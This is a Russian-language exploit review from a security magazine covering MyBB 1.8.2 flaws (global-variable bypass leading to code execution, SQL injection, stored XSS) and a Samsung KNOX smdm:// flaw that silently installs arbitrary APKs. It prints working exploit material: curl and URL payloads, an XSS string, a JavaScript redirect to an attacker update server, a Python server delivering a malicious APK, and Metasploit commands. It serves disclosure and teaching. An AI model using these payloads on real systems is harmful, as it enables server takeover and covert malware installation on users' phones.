В сегод­няшнем обзо­ре мы прой­дем­ся по раз­личным веб‑уяз­вимос­тям в одном популяр­ном про­екте, а так­же раз­берем прос­тую, но при этом доволь­но инте­рес­ную уяз­вимость в Android-устрой­ствах от ком­пании Samsung и то, как решение для улуч­шения безопас­ности может содер­жать ошиб­ку, что при­ведет лишь к допол­нитель­ному век­тору ата­ки.

warning

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни редак­ция, ни автор не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный матери­ала­ми дан­ной статьи.

 

Различные уязвимости в MyBB 1.8.2

  • CVSSv2: N/A
  • Да­та релиза: 8 июля 2014 года
  • Ав­тор: Taoguang Chen, Avinash Kumar Thapa
  • CVE: N/A

Ду­маю, бес­плат­ный PHP-дви­жок для соз­дания форумов MyBB зна­ком мно­гим, плюс мы его осве­щали на стра­ницах нашего жур­нала, поэто­му перей­дем к самому инте­рес­ному — уяз­вимос­тям.

В слу­чае, ког­да register_globals вклю­чены, MyBB будет вызывать фун­кцию unset_globals(), которая будет уда­лять все гло­баль­ные перемен­ные в PHP, при­шед­шие из мас­сивов $_POST, $_GET, $_FILES и $_COOKIE:

if(@ini_get("register_globals") == 1)
{
$this->unset_globals($_POST);
$this->unset_globals($_GET);
$this->unset_globals($_FILES);
$this->unset_globals($_COOKIE);
}
...
}
...
function unset_globals($array)
{
if(!is_array($array))
{
return;
}
foreach(array_keys($array) as $key)
{
unset($GLOBALS[$key]);
unset($GLOBALS[$key]); // Двойное удаление из-за zend_hash_del_key_or_index в PHP < 4.4.3 и <5.1.4
}
}

Но эту фун­кцию мы можем обой­ти.

Сде­лаем неболь­шую про­вер­ку — отпра­вим зап­рос вида foo.php?_COOKIE=1, в резуль­тате мы соз­дадим перемен­ную $_GET['_COOKIE'].

В резуль­тате ког­да отпра­вит­ся перемен­ная $_GET['_COOKIE']=1, фун­кция унич­тожит $GLOBALS['_COOKIE']:

$this->unset_globals($_GET);
...
}
...
function unset_globals($array)
{
...
foreach(array_keys($array) as $key)
{
unset($GLOBALS[$key]);

Это озна­чает, что мас­сив $_COOKIE был уда­лен. Но это так­же озна­чает, что все гло­баль­ные перемен­ные, зарегис­три­рован­ные PHP, из мас­сива $_COOKIE не будут уда­лены, потому что не будут обра­бота­ны:

$this->unset_globals($_COOKIE);
}
...
}
...
function unset_globals($array)
{
if(!is_array($array))
{
return;
}

Для мас­сивов $_GET и $_FILES все будет ана­логич­но, и они будут уда­лены с помощью unset_globals(), а соот­ветс­тву­ющие гло­баль­ные перемен­ные, зарегис­три­рован­ные PHP, — нет.

Те­перь отпра­вим зап­рос вида $_POST['GLOBALS'], $_FLIES['GLOBALS'] или $_COOKIE['GLOBALS'].

В этом слу­чае дан­ная фун­кция уда­лит мас­сив $GLOBALS['GLOBALS']. Так как это авто­мати­чес­кая гло­баль­ная перемен­ная и она свя­зыва­ет гло­баль­ную сим­воль­ную таб­лицу, мы можем исполь­зовать $GLOBALS['key'] для получе­ния дос­тупа к гло­баль­ной перемен­ной внут­ри все­го скрип­та. Это про­исхо­дит из‑за наруше­ния свя­зи мас­сива и таб­лица, так как мас­сив был уда­лен. Помимо это­го, перемен­ные из мас­сивов $_GET, $_FILES и $_COOKIE не будут унич­тожены.

Раз­работ­чики зна­ли об этой проб­леме и подс­тра­хова­лись:

$protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");
foreach($protected as $var)
{
if(isset($_REQUEST[$var]) || isset($_FILES[$var]))
{
die("Hacking attempt");
}
}

К их нес­частью и нашей уда­че, есть неболь­шой обход такой защиты.

$_REQUEST пред­став­ляет собой ассо­циатив­ный мас­сив, содер­жащий смесь из дан­ных мас­сивов $_GET, $_POST и $_COOKIE.

Но в PHP вер­сии от 5.3 есть опция, зат­рагива­ющая эту перемен­ную:

request_order = "GP"

Это рекомен­дован­ная нас­трой­ка в php.ini. При такой уста­нов­ке перемен­ная $_REQUEST содер­жит толь­ко $_GET и $_POST мас­сивы без $_COOKIE. Это поз­воля­ет нам отпра­вить $_COOKIE['GLOBALS'] и обой­ти фун­кцию unset_globals() в PHP 5.3.

Те­перь рас­смот­рим один инте­рес­ный метод:

class MyBB {
...
function __destruct()
{
if(function_exists("run_shutdown"))
{
run_shutdown();
}
}
}

Для нас пред­став­ляет инте­рес фун­кция run_shutdown():

function run_shutdown()
{
global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;
...
// Запустить функцию shutdown, если такая имеется
if(is_array($shutdown_functions))
{
foreach($shutdown_functions as $function)
{
call_user_func_array($function['function'], $function['arguments']);
}
}
$done_shutdown = true;
}

Пе­ремен­ная $shutdown_functions ини­циали­зиру­ется с помощью фун­кции add_shutdown() в init.php:

// Установить shutdown-функции, которые нужно запустить глобально
add_shutdown('send_mail_queue');

Но сама фун­кция add_shutdown() содер­жит ошиб­ки:

function add_shutdown($name, $arguments=array())
{
global $shutdown_functions;
if(!is_array($shutdown_functions))
{
$shutdown_functions = array();
}
if(!is_array($arguments))
{
$arguments = array($arguments);
}
if(is_array($name) && method_exists($name[0], $name[1]))
{
$shutdown_functions[] = array('function' => $name, 'arguments' => $arguments);
return true;
}
else if(!is_array($name) && function_exists($name))
{
$shutdown_functions[] = array('function' => $name, 'arguments' => $arguments);
return true;
}
return false;
}

Из кода выше мы видим, что она содер­жит уяз­вимость, потому что перемен­ная $shutdown_functions ини­циали­зиру­ется без каких‑либо про­верок, что поз­воля­ет нам выпол­нить про­изволь­ный код.

 

EXPLOIT

То есть для слу­чаев, ког­да на сер­вере уста­нов­лены сле­дующие фла­ги:

request_order = "GP"
register_globals = On

мы можем про­вес­ти уда­лен­ную ата­ку. Вызовем phpinfo():

$ curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://www.target/

Дру­гой при­мер исполь­зования этой уяз­вимос­ти, ког­да PHP исполь­зует сле­дующую кон­фигура­цию:

disable_functions = ini_get

В этом слу­чае фун­кция unset_globals вызыва­ется незави­симо от того, вклю­чен или нет register_globals:

if(@ini_get("register_globals") == 1)
{
$this->unset_globals($_POST);
$this->unset_globals($_GET);
$this->unset_globals($_FILES);
$this->unset_globals($_COOKIE);
}

При­мер ата­ки про­верен на disable_functions = ini_get и register_globals = On:

index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1

По­мимо это­го, в фун­кции run_shutdown() содер­жится SQL-инъ­екция:

function run_shutdown()
{
global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;
...
// У нас имеется несколько shutdown-запросов для запуска
if(is_array($shutdown_queries))
{
// Пробегаемся циклом и запускаем
foreach($shutdown_queries as $query)
{
$db->query($query);
}
}

Ини­циали­зация про­исхо­дит в фай­ле global.php:

$shutdown_queries = array();

Но не все скрип­ты вклю­чают в себя global.php, нап­ример css.php:

require_once "./inc/init.php";

В ито­ге мы не под­клю­чаем этот файл и перемен­ная $shutdown_queries не ини­циали­зиру­ется, но в резуль­тате мы име­ем уяз­вимость типа SQL-инъ­екция.

Для слу­чая request_order = "GP" и register_globals = On:

$ curl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php

disable_functions = ini_get и register_globals = On:

css.php?shutdown_queries[]=SQL_Inj

Кста­ти, Таогуан Чэнь (Taoguang Chen) нашел эти уяз­вимос­ти 6 мар­та и сооб­щил через спе­циаль­ную security-фор­му, но так и не получил отве­та. Лишь обра­тив­шись к раз­работ­чику через внут­ренние сооб­щения офи­циаль­ного форума, он смог добить­ся выхода пат­ча в середи­не нояб­ря. Так что эти уяз­вимос­ти мог­ли экс­плу­ати­ровать­ся и ранее.

По­мимо такой гло­баль­ной уяз­вимос­ти, дру­гим иссле­дова­телем была най­дена уяз­вимость типа XSS в этой вер­сии движ­ка. Для ее экс­плу­ата­ции соз­дадим новый акка­унт и перей­дем на стра­ницу редак­тирова­ния:

*User CP >Edit Profile > **Custom User Title*

Вво­дим сле­дующую тес­товую коман­ду:

<img src=x onerror=alert('XSS');>

Сох­раня­ем и про­ходим по ссыл­ке /upload/calendar.php, где мы соз­дадим любое событие и откро­ем его. Пос­ле чего уви­дим дол­гождан­ное alert-окно.

 

TARGETS

  • MyBB <= 1.8.2;
  • MyBB 1.6 <= 1.6.15.
 

SOLUTION

Есть исправ­ление от про­изво­дите­ля.

 

Удаленное выполнение кода в Samsung Galaxy KNOX Android Browser

  • CVSSv2: N/A
  • Да­та релиза: 12 нояб­ря 2014 года
  • Ав­тор: Quarkslab
  • CVE: N/A

Ха­керы из ком­пании Quarkslab пос­ле выхода Samsung Galaxy S5 про­вели иссле­дова­ние про­шив­ки, в ходе которо­го они наш­ли доволь­но прос­тую уяз­вимость и написа­ли рабочий экс­плойт. Уяз­вимым ока­залось при­ложе­ние UniversalMDMApplication, которое исполь­зует­ся в кор­поратив­ном сек­торе. Оно вхо­дит по умол­чанию в Samsung Galaxy S5 ROM (и дру­гие модели) и явля­ется частью Samsung KNOX.

При запус­ке при­ложе­ния со спе­циаль­ными атри­бута­ми мы можем зас­тавить его думать, что приш­ло новое обновле­ние, пос­ле чего на устрой­стве появит­ся всплы­вающее окно, которое спро­сит поль­зовате­ля, уста­новить его или нет. При положи­тель­ном отве­те будет уста­нов­лено про­изволь­ное при­ложе­ние, если же поль­зователь наж­мет на кноп­ку отме­ны, то мож­но при­менить неболь­шой трюк и прос­то переза­пус­тить это окно, буд­то кноп­ка отме­ны не работа­ет.

Дан­ную уяз­вимость мож­но исполь­зовать через элек­трон­ное пись­мо (при нажатии на спе­циаль­но соз­данную ссыл­ку) или соз­дать вре­донос­ную HTML-стра­ницу, при заходе на которую через Chrome или бра­узер по умол­чанию поль­зователь запус­тит наш экс­плойт. Есть еще вари­ант вос­поль­зовать­ся MITM-ата­кой, встав­ляя свой JavaScript-код внутрь HTML-стра­ниц, которые заг­ружа­ются устрой­ством.

По­мимо того что при­ложе­ние UniversalMDMClient явля­ется частью Samsung KNOX и поэто­му уста­нов­лено в сис­тему по умол­чанию, оно име­ет собс­твен­ный зарегис­три­рован­ный URI smdm://. О такой осо­бен­ности при­ложе­ния мы можем узнать из фай­ла AndroidManifest.xml это­го при­ложе­ния:

<manifest android:versionCode="2" android:versionName="1.1.14" package="com.sec.enterprise.knox.cloudmdm.smdms"
xmlns:android="http://schemas.android.com/apk/res/android">
<uses-sdk android:minSdkVersion="17" android:targetSdkVersion="19" />
[...]
<uses-permission android:name="android.permission.INSTALL_PACKAGES" />
[...]
<application android:allowBackup="true" android:name=".core.Core">
<activity android:configChanges="keyboard|keyboardHidden|orientation" android:excludeFromRecents="true"
android:label="@string/titlebar" android:name=".ui.LaunchActivity" android:noHistory="true"
android:theme="@android:style/Theme.DeviceDefault">
<intent-filter>
<data android:scheme="smdm" />
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
</intent-filter>
</activity>
[...]
</application>
</manifest>

За регис­тра­цию отве­чает intent-filter, который наз­нача­ет обра­бот­чиком таких ссы­лок ком­понент com.sec.enterprise.knox.cloudmdm.smdms.ui.LaunchActivity. То есть при откры­тии smdm:\\... поль­зовате­лем или его бра­узе­ром стар­туем метод onCreate из LaunchActivity. Само при­ложе­ние обфусци­рова­но с помощью proguard, но некото­рые деком­пилято­ры авто­мати­чес­ки его откры­вают. Из‑за боль­шого количес­тва строк деком­пилиро­ван­ный код фун­кций будет при­веден на скрин­шотах.

Декомпилированный код метода onCreate
Де­ком­пилиро­ван­ный код метода onCreate

Пер­вое, что про­веря­ет дан­ный метод, — это наличие фай­ла PreETag.xml внут­ри дирек­тории /data/data/com.sec.enterprise.knox.cloudmdm.smdms/shared_prefs/ с помощью одно­имен­ной фун­кции getPreETAG(): если он най­ден, то при­ложе­ние оста­нав­лива­ет свою работу через метод finish(). По умол­чанию такого фай­ла не сущес­тву­ет.

Да­лее при­ложе­ние пыта­ется получить объ­ект типа Intent, который исполь­зовал­ся для стар­та Activity, и опре­делить, какие дан­ные были получе­ны. Дан­ные дол­жны иметь фор­му:

smdm://hostname?var1=value1&var2=value2

Пос­ле их обра­бот­ки в при­ложе­нии дол­жны будут появить­ся сле­дующие перемен­ные:

  • seg_url;
  • update_url;
  • email;
  • mdm_token;
  • program;
  • quickstart_url.

Для нас, конеч­но же, боль­ше все­го важен параметр update_url. Далее все перемен­ные будут сох­ранены внут­ри фай­ла shared_preference, и метод onCreate() закон­чится вызовом фун­кции Core.startSelfUpdateCheck().

Вызов Core.startSelfUpdateCheck
Вы­зов Core.startSelfUpdateCheck

Core.startSelfUpdateCheck() про­веря­ет, про­исхо­дит ли обновле­ние, если нет, то вызыва­ется UMCSelfUpdateManager.startSelfUpdateCheck()

Вызов UMCSelfUpdateManager.startSelfUpdateCheck
Вы­зов UMCSelfUpdateManager.startSelfUpdateCheck

Эта фун­кция про­веря­ет, дос­тупно ли интернет‑соеди­нение, уда­ляет ста­рые обновле­ния и соз­дает URL, осно­ван­ный на зна­чении из стро­ки umc_cdn внут­ри shared_pref-фай­ла — m.xml, и добав­ляет стро­ку /latest. umc_cdn — это наш объ­ект типа Intent перемен­ной udpdate_url. И это зна­чение пол­ностью кон­тро­лиру­ется ата­кующим. Далее вызыва­ется UMCSelfUpdateManager.doUpdateCheck() с пер­вым парамет­ром из пре­дыду­щего URL.

Вызов UMCSelfUpdateManager.startSelfUpdateCheck
Вы­зов UMCSelfUpdateManager.startSelfUpdateCheck

Внут­ри этой фун­кции ини­циали­зиру­ется класс ContentTransferManager и отправ­ляет­ся HTTP-зап­рос, соз­данный из URL, кон­тро­лиру­емо­го ата­кующим. Во вре­мя обра­бот­ки про­исхо­дит вызов клас­са handleRequestResult и раз­личных методов:
onFailure(), onProgress(), onStart(), onSucess() и так далее.

Вызов UMCSelfUpdateManager.doUpdateCheck
Вы­зов UMCSelfUpdateManager.doUpdateCheck

Для нас, конеч­но же, пред­став­ляет наиболь­ший инте­рес метод onSucess(). Пос­ле того как при­ложе­ние получит ссыл­ку на сер­вер с обновле­нием, оно попыта­ется обра­тить­ся к нему и про­верит раз­личные заголов­ки: ETag, Content-Length и x-amz-meta-apk-version. Зна­чение из заголов­ка x-amz-meta-apk-version срав­нива­ется с текущей вер­сией UniversalMDMApplication APK-фай­ла. И если в нем содер­жится боль­шее чис­ло, то тре­бует­ся обновле­ние. И у поль­зовате­ля на устрой­стве появит­ся всплы­вающее окно, о котором было упо­мяну­то ранее. Его при­мер при­веден на скрин­шоте.

Вызов метода onSucess
Вы­зов метода onSucess
Уведомление о новом обновлении на устройстве Samsung
Уве­дом­ление о новом обновле­нии на устрой­стве Samsung

Ес­ли поль­зователь наж­мет YES, то будет выз­ван метод UMCSelfUpdateManager.onSuccess(), в ходе которо­го при­ложе­ние сде­лает еще один GET-зап­рос к сер­веру обновле­ний и получен­ный ответ сох­ранит как APK-файл. Затем будет выз­вана фун­кция beginUpdateProcess() для даль­нейше­го запус­ка отдель­ного потока updateThread.

Класс updateThread
Класс updateThread

Как вид­но из скрин­шота, фун­кция run из клас­са updateThread вызыва­ет installApk, который вызовет _installApplication(). Суть новой фун­кции доволь­но инте­рес­на: она отклю­чает про­вер­ку при­ложе­ний, что­бы сис­тема не ска­ниро­вала APK-файл во вре­мя уста­нов­ки, уста­нав­лива­ет новое при­ложе­ние и вклю­чает про­вер­ку обратно. Код так­же пред­став­лен на скрин­шоте, но ниже при­веде­на наибо­лее инте­рес­ная фун­кция. Отклю­чение про­вер­ки:

Settings$Global.putInt(InstallManager.mContext.getContentResolver(), GlobalSettingsAdapter.PACKAGE_VERIFIER_ENABLE_0);
Код функции _installApplication
Код фун­кции _installApplication

Как видишь, на этом все про­вер­ки закан­чивались, то есть при­ложе­ние уста­нав­лива­ется в сис­тему, при этом даже не появит­ся стан­дар­тное окно, уве­дом­ляющее о тре­буемых пра­вах дос­тупа или про­вер­ке сер­тифика­та, которым оно под­писано. То есть в ито­ге ата­кующий может уста­новить про­изволь­ное при­ложе­ние с про­изволь­ными пра­вами дос­тупа. Но есть один нюанс: если обновле­ние уже было уста­нов­лено или кто‑то уже ата­ковал это устрой­ство до нас, то появит­ся зна­чение ETag, которое запишет­ся в файл /data/data/com.sec.enterprise.knox.cloudmdm.smdms/shared_prefs/PreETag.xml пос­ле успешной уста­нов­ки. То есть ког­да метод onCreate() про­верит его наличие в самом начале и най­дет, о чем мы упо­мяну­ли выше, то обновле­ние не нач­нется и выпол­нение при­ложе­ния оста­новит­ся.

 

EXPLOIT

Так как суть уяз­вимос­ти доволь­но прос­та, то и экс­плойт такой же. Нам нуж­но соз­дать HTML-стра­ницу со сле­дующим JavaScript-кодом (или вста­вить внутрь «белой» стра­ницы):

<script>
function trigger(){
document.location="smdm://meow?update_url=http://yourserver/";
}
setTimeout(trigger, 5000);
</script>

При­ятная осо­бен­ность для ата­кующе­го, ког­да исполь­зует­ся такой JavaScript-код, — если поль­зователь отме­нит обновле­ние, то его сно­ва перенап­равит на эту же стра­ницу и опять появит­ся это всплы­вающее окно. Далее сер­вер дол­жен отпра­вить устрой­ству сле­дующие заголов­ки:

  • x-amz-meta-apk-version — про­изволь­ная циф­ра, которая боль­ше, чем текущая вер­сия. К при­меру, 1337;
  • ETag — MD5-хеш APK-фай­ла;
  • Content-Length — раз­мер APK-фай­ла (исполь­зует­ся для полосы заг­рузки).

Ни­же пред­став­лен Python-код сер­верной час­ти:

import hashlib
from BaseHTTPServer import BaseHTTPRequestHandler
APK_FILE = "meow.apk"
APK_DATA = open(APK_FILE,"rb").read()
APK_SIZE = str(len(APK_DATA))
APK_HASH = hashlib.md5(APK_DATA).hexdigest()
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", APK_SIZE)
self.send_header("ETag", APK_HASH)
self.send_header("x-amz-meta-apk-version", "1337")
self.end_headers()
self.wfile.write(APK_DATA)
return
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-Length", APK_SIZE)
self.send_header("ETag", APK_HASH)
self.send_header("x-amz-meta-apk-version", "1337")
self.end_headers()
return
if __name__ == "__main__":
from BaseHTTPServer import HTTPServer
server = HTTPServer(('0.0.0.0',8080), MyHandler)
server.serve_forever()

Так­же сущес­тву­ет Metasploit-модуль для быс­трой и прос­той экс­плу­ата­ции:

msf > use exploit/android/browser/samsung_knox_smdm_url
msf exploit(samsung_knox_smdm_url) > set LHOST 192.168.41.186
msf exploit(samsung_knox_smdm_url) > exploit

От авто­ров уяз­вимос­ти дос­тупно ви­део по ее экс­плу­ата­ции.

 

TARGETS

  • Samsung Galaxy S5;
  • Samsung Galaxy S4 (version checked: I9505XXUGNH8);
  • Samsung Galaxy S4 mini (version checked: I9190UBUCNG1);
  • Samsung Galaxy Note 3 (version checked: N9005XXUGNG1);
  • Samsung Galaxy Ace 4 (version checked: G357FZXXU1ANHD).
 

SOLUTION

Есть исправ­ление от про­изво­дите­ля, но не на всех устрой­ствах. Кста­ти, патч тоже был доволь­но прост: раз­работ­чики добави­ли про­вер­ку име­ни при­ложе­ния, которое будет уста­нов­лено (то есть оно дол­жно быть UniversalMDMClient), так как в сис­теме не может быть двух при­ложе­ний с оди­нако­выми име­нами, но при этом под­писан­ных раз­ными сер­тифика­тами. Код пат­ча так­же пред­став­лен на скрин­шоте.

Патч от Samsung для исправления уязвимости в Samsung KNOX
Патч от Samsung для исправ­ления уяз­вимос­ти в Samsung KNOX
Всплывающее окно при атаке после установки патча
Всплы­вающее окно при ата­ке пос­ле уста­нов­ки пат­ча

Так­же мож­но попытать­ся про­пат­чить­ся самос­тоятель­но. Нуж­но соз­дать стра­ницу с ссыл­кой (или зай­ти на блог ав­торов):

smdm://patch/

Пос­ле нажатия по ней устрой­ство обра­тит­ся к сер­веру Samsung UMC (Universal MDM Client) по умол­чанию:

http://umc-cdn.secb2b.com:80

На этом сер­вере хра­нит­ся пос­ледняя вер­сия UniversalMDMClient.apk.

Оставить мнение